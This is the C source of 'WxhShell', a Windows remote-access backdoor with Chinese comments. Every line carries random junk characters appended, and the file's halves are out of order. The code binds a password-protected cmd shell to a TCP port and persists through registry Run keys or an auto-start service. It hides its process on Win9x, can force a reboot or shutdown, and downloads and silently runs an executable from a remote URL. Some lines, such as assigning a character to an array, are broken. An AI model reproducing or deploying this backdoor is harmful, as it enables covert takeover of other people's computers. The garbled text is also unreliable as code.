    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e(s0mbJE  
    else { N[cIr{XBGN  
    closesocket(wsh); 6 ) i-S<(  
    ExitThread(0); @@H/q  
    } S})f`X9_}  
    break; .'`aX 7{\  
    } i`+w.zJOH8  
  // 获取shell 48 -j  
  case 's': { OP\jO DX  
    CmdShell(wsh); ~Z5AImR|  
    closesocket(wsh); Mst%]@TG  
    ExitThread(0); GFT@Pqq  
    break; Zv}F?4T~:  
  } "" UyfC[  
  // 退出 -Y524   
  case 'x': { \~8W0q.4M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UnDCC_ud  
    CloseIt(wsh); :WRD<D_4  
    break; hr]+ 4!/  
    } WdOxwsq"  
  // 离开 C rR/  
  case 'q': { to: ;:Goa  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )bg|l?  
    closesocket(wsh); 2Rw<0.i|  
    WSACleanup(); {- I+  
    exit(1); Ar\fA)UQ`  
    break; ;>2-  
        } 7l7VT?<:  
  } (8 7wWhH  
  } oQ,n?on  
KAZ<w~55c  
  // 提示信息 :uAL(3pQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (^W}uDPCB  
} cS Lj\'`b  
  } q5r7 KYH{  
(ORbhjl  
  return; EPW4 h/I  
} hRXnig{;3  
 @N '_qu  
// shell模块句柄 Z4G%Ve[  
int CmdShell(SOCKET sock) 1^^{;R7N  
{ _v#pu Fy  
STARTUPINFO si; egsP\ '  
ZeroMemory(&si,sizeof(si)); & PXT$x[i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {*bx8*y1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T[OI/ WuK  
PROCESS_INFORMATION ProcessInfo; -Y+pLvG*  
char cmdline[]="cmd"; g<;pyvq|:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *JImP9SE  
  return 0; mD> J,E  
} "tl{HM5u  
J jZB!Lg=  
// 自身启动模式 Otu?J_d3  
int StartFromService(void) Oa:C'M b  
{ (su7*$wV  
typedef struct $`UdG0~  
{ &L0Ii)Ns  
  DWORD ExitStatus; 28v^j*=* \  
  DWORD PebBaseAddress; sR$abN+u  
  DWORD AffinityMask; Btznms'  
  DWORD BasePriority; Q^<amM!  
  ULONG UniqueProcessId; M>=@Z*u/+  
  ULONG InheritedFromUniqueProcessId; ZzK^ bNx)0  
}   PROCESS_BASIC_INFORMATION; RUr ~u  
`~\SQ EY$  
PROCNTQSIP NtQueryInformationProcess; +h-% {  
*b~8`O pa`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jh z*Y}MX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /*gs]  
CV HKP[-  
  HANDLE             hProcess; dSjO 12b  
  PROCESS_BASIC_INFORMATION pbi; h)sT37  
W8`6O2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f\?Rhyz  
  if(NULL == hInst ) return 0; FLJ&ZU=s  
prM)t8SE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tHaHBx1P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X)(K|[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?$)a[UnqX  
5fs,UH  
  if (!NtQueryInformationProcess) return 0; Y\<w|LkD8  
"< Di  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k"7ZA>5jk  
  if(!hProcess) return 0; Q2oo\  
UazK0{t<f  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [e\IHakj  
,c&t#mu*0  
  CloseHandle(hProcess); B]hRYU  
V4u4{wU]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HQF@@  
if(hProcess==NULL) return 0; Uun0FCA>  
hG`@#9|f  
HMODULE hMod; +5-|6  
char procName[255]; A'}!'1  
unsigned long cbNeeded; [+5g 9tBJ  
e6J>qwD?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RwK6u-u#9  
H{_D#It  
  CloseHandle(hProcess); &RuTq6)r  
,| 8aDL?  
if(strstr(procName,"services")) return 1; // 以服务启动 RI<s mt.Ng  
]ZR` 6|"VO  
  return 0; // 注册表启动 *>2FcoN;  
} GXLh(d!C  
*E>R1bJ8  
// 主模块 SG~HzQ\%  
int StartWxhshell(LPSTR lpCmdLine) TXd6o=  
{ V_^pPBa  
  SOCKET wsl; w|I5x}ZFG  
BOOL val=TRUE; >sAaLR4  
  int port=0; YVHf-uP  
  struct sockaddr_in door; K)1Lg? j  
aox@- jyr  
  if(wscfg.ws_autoins) Install(); Pdh`Gu1:3  
$B9?>a|{A  
port=atoi(lpCmdLine); usKP9[T$  
DIP%*b#l$\  
if(port<=0) port=wscfg.ws_port; s9Tn|Pm+!\  
?|NsaW  
  WSADATA data; A3HN Mz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j,%i.[8S  
J pj[.Sq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B`nI] _  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qxyY2&  
  door.sin_family = AF_INET; 3z#> 1HD$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ut]&3f''  
  door.sin_port = htons(port); iBWEZw)  
ME)='~E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W! |_ hL  
closesocket(wsl); fMHw=wJQ  
return 1; HdY#cVxy  
} Y[VXx8"p  
gs.+|4dv  
  if(listen(wsl,2) == INVALID_SOCKET) { 18kWnF]n=  
closesocket(wsl); t\2-7Ohj6  
return 1; wmMn1q0F  
} k ^KpQ&n  
  Wxhshell(wsl); j)nE!GKD(  
  WSACleanup(); Mj2Dat`p9  
gQ{<2u  
return 0; T1?9E{bC8A  
z 36Y/{>[  
} [P6A $HC<  
cJSwA&  
// 以NT服务方式启动 .R4,fCN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TR `C|TV>  
{ Zu~t )W  
DWORD   status = 0; xrlyph5mE  
  DWORD   specificError = 0xfffffff; /r&4< @  
vy7?]}MvV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {65Y Tt%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; < uV@/fn<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 64y9.PY  
  serviceStatus.dwWin32ExitCode     = 0; 8MU7|9 Q  
  serviceStatus.dwServiceSpecificExitCode = 0; U3M;{_g  
  serviceStatus.dwCheckPoint       = 0; A??a:8id^  
  serviceStatus.dwWaitHint       = 0; zT!.5qd  
WhFE{-!gX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vZ6R>f  
  if (hServiceStatusHandle==0) return; 3+ C;zDKa  
+,i_G?eX  
status = GetLastError(); !af;5F  
  if (status!=NO_ERROR) :a=]<_*x  
{ C(KV5c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ne[H`7c  
    serviceStatus.dwCheckPoint       = 0; hsK(09:J  
    serviceStatus.dwWaitHint       = 0; D-m%eP.  
    serviceStatus.dwWin32ExitCode     = status; |\C.il7  
    serviceStatus.dwServiceSpecificExitCode = specificError; xo-{N[r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jC-`u-_'j  
    return; 11!4#z6w  
  } mkgL/h*  
oChf&W 8u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i1HO>X:ea  
  serviceStatus.dwCheckPoint       = 0; !l9 #a{#6l  
  serviceStatus.dwWaitHint       = 0; S!iDPl~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ILHn~d IC  
} +\vN#xDz  
(5RZLRn  
// 处理NT服务事件,比如:启动、停止 )1)&fN41i#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B\dhw@hM  
{ Xi=4S[.4  
switch(fdwControl) K$$%j"s  
{ LH~ t5  
case SERVICE_CONTROL_STOP: :mdoGb$ dr  
  serviceStatus.dwWin32ExitCode = 0; V* ,u;*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b#S-u }1PE  
  serviceStatus.dwCheckPoint   = 0; YIl,8! z~  
  serviceStatus.dwWaitHint     = 0; 5YiBPB")  
  { |A H@W#7j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \J6e/ G  
  } AUaupNN  
  return; $BOIa  
case SERVICE_CONTROL_PAUSE: 25;`yB$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +J !1z  
  break; A<[w'"  
case SERVICE_CONTROL_CONTINUE: <.@w%rvG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (Q|Y*yI  
  break; woU3WS0  
case SERVICE_CONTROL_INTERROGATE: 8ePzU c\#  
  break; ;|CG9|p  
}; y8|}bd<Sr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q(5  
} Wk/Il^YG  
(j}edRUnB  
// 标准应用程序主函数 ,^T0!k$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^P*+0?aFr  
{ <yKyM#4X  
;FjI!V  
// 获取操作系统版本 ksqb& ux6  
OsIsNt=GetOsVer(); fp"GdkO#}i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R1:7]z0B  
DEenvS`,P  
  // 从命令行安装 >LFj@YW_)  
  if(strpbrk(lpCmdLine,"iI")) Install(); Nw3IDy~T  
k%LsjN.S  
  // 下载执行文件 NB&zBJ#  
if(wscfg.ws_downexe) { qh wl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2\[ Q{T=Qe  
  WinExec(wscfg.ws_filenam,SW_HIDE); e" p5hpl  
} y)`q% J&  
pf_`{2.\uO  
if(!OsIsNt) { \j vS`+  
// 如果时win9x,隐藏进程并且设置为注册表启动 3,@|kN<  
HideProc(); Z ^yn S  
StartWxhshell(lpCmdLine); R)GDsgXy  
} sO&eV68 [  
else h)?Km{u%  
  if(StartFromService()) #pMpGw$  
  // 以服务方式启动 yL3F  
  StartServiceCtrlDispatcher(DispatchTable); N*Xl0m(Q  
else A)f/ww)Q  
  // 普通方式启动 1h?:gOig  
  StartWxhshell(lpCmdLine); A) TO<dl  
}ev+WIERQV  
return 0; (/J %Huy  
} 7+J<N@.d  
`)1qq @  
3;EBKGg|  
S!~p/bB[+I  
=========================================== bg,VK1  
NJ!}(=1|K  
tqOx8%  
] iiB|xT  
;0E[ ; L!  
Qkg([q4  
" BlfW~l'mx  
O>arCr=H  
#include <stdio.h> S >\\n^SbT  
#include <string.h> i8(n(  
#include <windows.h> X0%BE!  
#include <winsock2.h> vXc gl  
#include <winsvc.h> X\]Dx./  
#include <urlmon.h> ny+_&l^R~(  
_zFJ]7Ym.)  
#pragma comment (lib, "Ws2_32.lib") coc :$Sr%  
#pragma comment (lib, "urlmon.lib") {:BY IdX  
Y@V6/D} 1  
#define MAX_USER   100 // 最大客户端连接数 C= PV-Ul+  
#define BUF_SOCK   200 // sock buffer +P"u1q*+p  
#define KEY_BUFF   255 // 输入 buffer %Z#[{yuFs  
<e'l"3+9(  
#define REBOOT     0   // 重启 *XqS~G  
#define SHUTDOWN   1   // 关机 kv?j]<WN  
<fcw:Ae  
#define DEF_PORT   5000 // 监听端口 ?nx 1{2[  
\b|Q`)TK  
#define REG_LEN     16   // 注册表键长度 9 kS;_(DB  
#define SVC_LEN     80   // NT服务名长度 :vy./83W  
G X>T~i\f8  
// 从dll定义API q e;O Ox  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H.: [# a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [$(/H;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z`rW2UO#a`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .(8eWc YK  
W/I D8+:i  
// wxhshell配置信息 +\`t@Ht#  
struct WSCFG { h}(GOY S)  
  int ws_port;         // 监听端口 t%>x}b"2T  
  char ws_passstr[REG_LEN]; // 口令 U})Z4>[bvt  
  int ws_autoins;       // 安装标记, 1=yes 0=no [=I==?2`X  
  char ws_regname[REG_LEN]; // 注册表键名 p9$=."5  
  char ws_svcname[REG_LEN]; // 服务名 &T/}|3S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HA%r:Px  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xDBHnr}[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q5(Z   
int ws_downexe;       // 下载执行标记, 1=yes 0=no )v?-[ oR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }x}JzA+2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Oe%jV,S|V  
I`}<1~ue  
}; Qz?r4kR  
4'-GcH  
// default Wxhshell configuration VNLggeX'U  
struct WSCFG wscfg={DEF_PORT, n`)wD~mk  
    "xuhuanlingzhe", Zr@G  
    1, W&(98}oT  
    "Wxhshell", `` mi9E  
    "Wxhshell", O1K~]Nt  
            "WxhShell Service", #>byP?)n  
    "Wrsky Windows CmdShell Service", {^n\ r^5  
    "Please Input Your Password: ", 0NWtu]9QC  
  1, cxQ8/0^  
  "http://www.wrsky.com/wxhshell.exe", p~THliwd  
  "Wxhshell.exe" 6 bnuC  
    }; &OSyU4r  
Nd4!:.  
// 消息定义模块 )<1}`9G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (" >gLr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "ZyWU f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~.wDb,*  
char *msg_ws_ext="\n\rExit."; )z#M_[zC>  
char *msg_ws_end="\n\rQuit."; ]w=6.LzO*  
char *msg_ws_boot="\n\rReboot..."; juuV3et  
char *msg_ws_poff="\n\rShutdown..."; iy_\1jB0  
char *msg_ws_down="\n\rSave to "; J]|lCwF  
\dag~b<  
char *msg_ws_err="\n\rErr!"; :+>:>$ao  
char *msg_ws_ok="\n\rOK!"; S*1Km&  
NCM&6<_  
char ExeFile[MAX_PATH]; : Gz#4k  
int nUser = 0; zl !`*{T{  
HANDLE handles[MAX_USER]; U'acVcD  
int OsIsNt; 1$Pn;jg:  
h8!;RN[  
SERVICE_STATUS       serviceStatus; KGm"-W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W<D(M.61A  
7+I2" Hy  
// 函数声明 {E~ MqrX  
int Install(void); pQ Y.MZSA  
int Uninstall(void); }3Y3f).ZW  
int DownloadFile(char *sURL, SOCKET wsh); ?=uw0~O[  
int Boot(int flag); b]h]h1~hHH  
void HideProc(void); o[!g,Gmoh  
int GetOsVer(void); 4;ig5'U,  
int Wxhshell(SOCKET wsl); zSi SZMP"  
void TalkWithClient(void *cs); Y Hv85y  
int CmdShell(SOCKET sock); q(yw,]h]{  
int StartFromService(void); X;ZR"YgT  
int StartWxhshell(LPSTR lpCmdLine); "kjjq~l  
\k|ZbCWg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,{{uRs/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F W# S.<  
:oH"  
// 数据结构和表定义 GBZx@B[TY  
SERVICE_TABLE_ENTRY DispatchTable[] = =R^V[zTn_  
{ sQS2U6  
{wscfg.ws_svcname, NTServiceMain}, \8!&X cA  
{NULL, NULL} ^E7>!Lbvx  
}; ?)cNe:KY  
$[Fh|%\  
// 自我安装 ntSPHK|'  
int Install(void) F=hfbCF5x  
{ uj-q@IKe  
  char svExeFile[MAX_PATH]; -hP@L ++D  
  HKEY key; khb Gyg%  
  strcpy(svExeFile,ExeFile); %L./U$  
?~a M<rcZ  
// 如果是win9x系统,修改注册表设为自启动 jz$)*Kdi*  
if(!OsIsNt) { -< 7KW0CA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OZ q/'*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WbS2w @8  
  RegCloseKey(key); {=,?]Z+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rY>{L6d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 15r<n  
  RegCloseKey(key); ` m`Sl[6  
  return 0; Iy](?b  
    } E$FXs~a  
  } `oh'rm3'8  
} -NVk>ENL4  
else { T!hU37g h?  
2 f]9I1{  
// 如果是NT以上系统,安装为系统服务 2I'\o7Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Wv"[,5 Z13  
if (schSCManager!=0) 'Z7oPq6  
{ 0n_Cuh\  
  SC_HANDLE schService = CreateService O4&/g-  
  ( 3Lq?Y7#KQp  
  schSCManager, =ot`V; Q>  
  wscfg.ws_svcname, [pmZ0/l  
  wscfg.ws_svcdisp, P,O9On  
  SERVICE_ALL_ACCESS, KW.S)+<H&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HFx8v!^5N  
  SERVICE_AUTO_START, '8>#`Yba  
  SERVICE_ERROR_NORMAL, T"Wq:  
  svExeFile, )*^PMf  
  NULL,  -[a0\H  
  NULL, `ge{KB;*n#  
  NULL, r! 5C3  
  NULL, CD^_>sya  
  NULL _SC>EP8:Z  
  ); R$*{@U  
  if (schService!=0) WZCX&ui  
  { { >Y<!  
  CloseServiceHandle(schService); c*_I1}l  
  CloseServiceHandle(schSCManager); _-Aw`<_*-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fZXJPy;n  
  strcat(svExeFile,wscfg.ws_svcname); 5-w6(uu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "wxs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q]5"V>D \  
  RegCloseKey(key); FI~)ZhE)]  
  return 0; QHsS|\u  
    } jjz<V(Sk  
  } "31GC7  
  CloseServiceHandle(schSCManager); }qW%=;!  
} `2NL'O:  
} 8\y%J!b  
`a2Oj@jP  
return 1; N`grr{*_  
} g=[ F W@z  
qrNW\ME  
// 自我卸载 (^9q7)n  
int Uninstall(void) ^#S  
{ }x-~>$:"  
  HKEY key; 7 s5?^^  
"F|OJ@ M  
if(!OsIsNt) { -NZj :N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :M ix*NCf  
  RegDeleteValue(key,wscfg.ws_regname); r[M]2h  
  RegCloseKey(key); ZH`6>:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TRAs5I%  
  RegDeleteValue(key,wscfg.ws_regname); q?Q"Ab  
  RegCloseKey(key); n\*>m p)  
  return 0; *`);_EVc  
  } t3Q;1#Zf  
} 9))%tYN  
} !hF b <  
else { XT= #+  
4lb3quY$Us  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rg_-gZl8&z  
if (schSCManager!=0) T[<llh'+  
{ bR*T}w$<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $z{HNY* 2  
  if (schService!=0) *u7C){)gr[  
  { p0$K.f| ^  
  if(DeleteService(schService)!=0) { nUhD41GJ  
  CloseServiceHandle(schService); YT, 1E>rd  
  CloseServiceHandle(schSCManager); >H5BY9]I  
  return 0; v>)[NAY9  
  } +tkd($//  
  CloseServiceHandle(schService); m3 (fr  
  } .K}u`v T  
  CloseServiceHandle(schSCManager); R.|fc5_"+  
} g;v{JB  
} DD|%F  
\(Zdd \,  
return 1; Si*Pi  
} xHykU;p@  
.m/Lon E  
// 从指定url下载文件 0'BR Sa<  
int DownloadFile(char *sURL, SOCKET wsh) ,`/!0Wmt  
{ ui G7  
  HRESULT hr; Fdu0?H2TL  
char seps[]= "/"; J%f5NSSU{6  
char *token; _ZzPy;[i?  
char *file; m]N 4.J  
char myURL[MAX_PATH]; 9qQ_#$Vv  
char myFILE[MAX_PATH]; t wtGkkC  
A0O$B7ylQ  
strcpy(myURL,sURL); V[+ Pb]  
  token=strtok(myURL,seps); %'4dg k  
  while(token!=NULL) in#qV  
  { na  $z\C\  
    file=token; vT%rg r  
  token=strtok(NULL,seps); )@1_Dm@0b  
  } n?Gm 5##  
x gaN0!  
GetCurrentDirectory(MAX_PATH,myFILE); !pw%l4]/t  
strcat(myFILE, "\\"); "@GopD  
strcat(myFILE, file); ^o:0 Y}v=  
  send(wsh,myFILE,strlen(myFILE),0); *M+:GH/5  
send(wsh,"...",3,0); 8xg:ItJaA0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )5d&K8@  
  if(hr==S_OK) +*)B;)P  
return 0; )V)4N[?GC  
else Q`AJR$L  
return 1; ,O 3"r;  
#hR}7K+@  
} A>7'W\R  
pK *-In  
// 系统电源模块 RJF1~9  
int Boot(int flag) ,UWO+B]  
{ EW#.)@-  
  HANDLE hToken; 9N=Dls  
  TOKEN_PRIVILEGES tkp; X_Y$-I$qd  
i0p"q p  
  if(OsIsNt) { MV9{>xX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Jev@IORN\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?h K+h.{  
    tkp.PrivilegeCount = 1; \^N9Q9{7]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6=A ++H @  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rx_'(  
if(flag==REBOOT) { N[aK#o,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {x2N~1!E  
  return 0; [_-CO }>  
} /kx:BoV  
else { i7e{REBXb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <T  
  return 0; %tUJ >qYU  
} k[Uc _=  
  } Ik;~u8j1e  
  else { 4X#>;  
if(flag==REBOOT) { ,589/xTA@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JsfbY^wz  
  return 0; H -.3r  
}  A3'i -  
else { K{M_ 4'\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @] )a  
  return 0; "-v9V7KCM  
} g"# R>&P  
} )F4er '  
.t"s>jq 1  
return 1; 'cH),~ z  
} vx!nC}f"k`  
&z1r$X.AW  
// win9x进程隐藏模块 !c(B^E  
void HideProc(void) 7:M%w'oR  
{ qx0J}6+NlU  
0Lc X7gU>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kz,Nz09}W  
  if ( hKernel != NULL ) zFB$^)v"<  
  { z<^HohT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tBrd+}e2*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); js8uvZ i  
    FreeLibrary(hKernel); 68 -I2@&  
  } xiA9X]FB  
_6=6 b!hD  
return; .%WbXs  
} x0Tb7y`  
iKp4@6an  
// 获取操作系统版本 Pb]s+1  
int GetOsVer(void) ;K$E;ZhPN  
{ ]0m4esK`  
  OSVERSIONINFO winfo; VCbnS191*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OWOj|jM  
  GetVersionEx(&winfo); G;fP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) apGf@b  
  return 1; ua4QtDSs  
  else "28x-F+J  
  return 0; G _42ckLq  
} 2+"#  
@*%5"~F  
// 客户端句柄模块 @zd)]O]xH?  
int Wxhshell(SOCKET wsl) *e_ /D$SC  
{ <]CO}r   
  SOCKET wsh; tQ?? nI2  
  struct sockaddr_in client; oB_{xu$6|  
  DWORD myID; Q6.},o  
\8_&@uLm  
  while(nUser<MAX_USER) L2Gm0 v  
{ @#8F5G#  
  int nSize=sizeof(client); 3b#KrN'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8uT@$ ./  
  if(wsh==INVALID_SOCKET) return 1; bE]2:~  
M5 Pvc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X*%KR4`  
if(handles[nUser]==0) jw(v08u >  
  closesocket(wsh); Rfa1 v*(  
else Wv(VV[?/&  
  nUser++; YM1@B`yWE  
  } s{IycTbz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )5&w  
l)XzU&Sc~  
  return 0; oWx! 'K6]V  
} Y#?Sqm(  
r%_)7Wk*  
// 关闭 socket ZZl)p\r  
void CloseIt(SOCKET wsh) eT}c_h)  
{ JRU)AMMU&  
closesocket(wsh); tOp>O oD  
nUser--; <5C3c&sds  
ExitThread(0); 4\Q ?4ZX  
} ']}ZI 8  
aQinR"o  
// 客户端请求句柄 g w }t.3}  
void TalkWithClient(void *cs) +uv]dD *i  
{ 70|Cn(p_  
o1I{^7/  
  SOCKET wsh=(SOCKET)cs; "MK:y[+*  
  char pwd[SVC_LEN]; LRB#|PW  
  char cmd[KEY_BUFF]; (kb^=kw#0  
char chr[1]; `;QpPSw+  
int i,j; |3"'>* J  
BhdJ/C^  
  while (nUser < MAX_USER) { FeSe^^dW  
M@s2T|bQw  
if(wscfg.ws_passstr) { L F Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +XFF@h&=t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &IOChQ`8P  
  //ZeroMemory(pwd,KEY_BUFF); Z4E:Z}~''  
      i=0; 3}LTEsdM  
  while(i<SVC_LEN) { #Q$9Eq8"[  
&#;UKk~)Of  
  // 设置超时 |*OS;FD5  
  fd_set FdRead; [",W TZ:  
  struct timeval TimeOut; =wI ,H@  
  FD_ZERO(&FdRead); ~{U~9v^v (  
  FD_SET(wsh,&FdRead); JsVW:8QO~  
  TimeOut.tv_sec=8; PN0:,.4  
  TimeOut.tv_usec=0; ic?6p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lh8`.sWk4V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mm:\a-8j  
Os?~U/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8BLtTpu  
  pwd=chr[0]; x*bM C&Ea  
  if(chr[0]==0xd || chr[0]==0xa) { KcNEB_i  
  pwd=0; \gj@O5rGP  
  break; }2V|B4  
  } 3x 'BMAA+  
  i++; *Swb40L^  
    } b/5;377_  
/-G;#Wm  
  // 如果是非法用户,关闭 socket ~G5)ya-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p# O%<S@?  
} H4^-MSw  
'S@C,x%2,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Qmzj1e$6x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >!`T=(u!  
/g@.1z1w  
while(1) { OYy%aA}h  
%2bZeZ  
  ZeroMemory(cmd,KEY_BUFF); J/R=O>  
C x$|7J=O  
      // 自动支持客户端 telnet标准   nmS3  
  j=0; h"]v+u`!SM  
  while(j<KEY_BUFF) { zOWbdd_zl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qK;n>BTe  
  cmd[j]=chr[0]; F~{yqY5]n  
  if(chr[0]==0xa || chr[0]==0xd) { }_gCWz-5?  
  cmd[j]=0; a|T P2m  
  break; A&F@+X6@  
  } +a nNpy  
  j++; &7|=8Z[o  
    } Aw9^}k}UfD  
jyLpe2 S  
  // 下载文件 r`B8Cik  
  if(strstr(cmd,"http://")) { Vk@u|6U'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rc 9 \  
  if(DownloadFile(cmd,wsh)) 8Z FPs/HP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Q})%j1S0  
  else O2ety2}?f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4N*Fq!k~  
  } )uZ<?bkQ  
  else { T~=NY,n  
2vu"PeU9  
    switch(cmd[0]) { ]0V~|<0c  
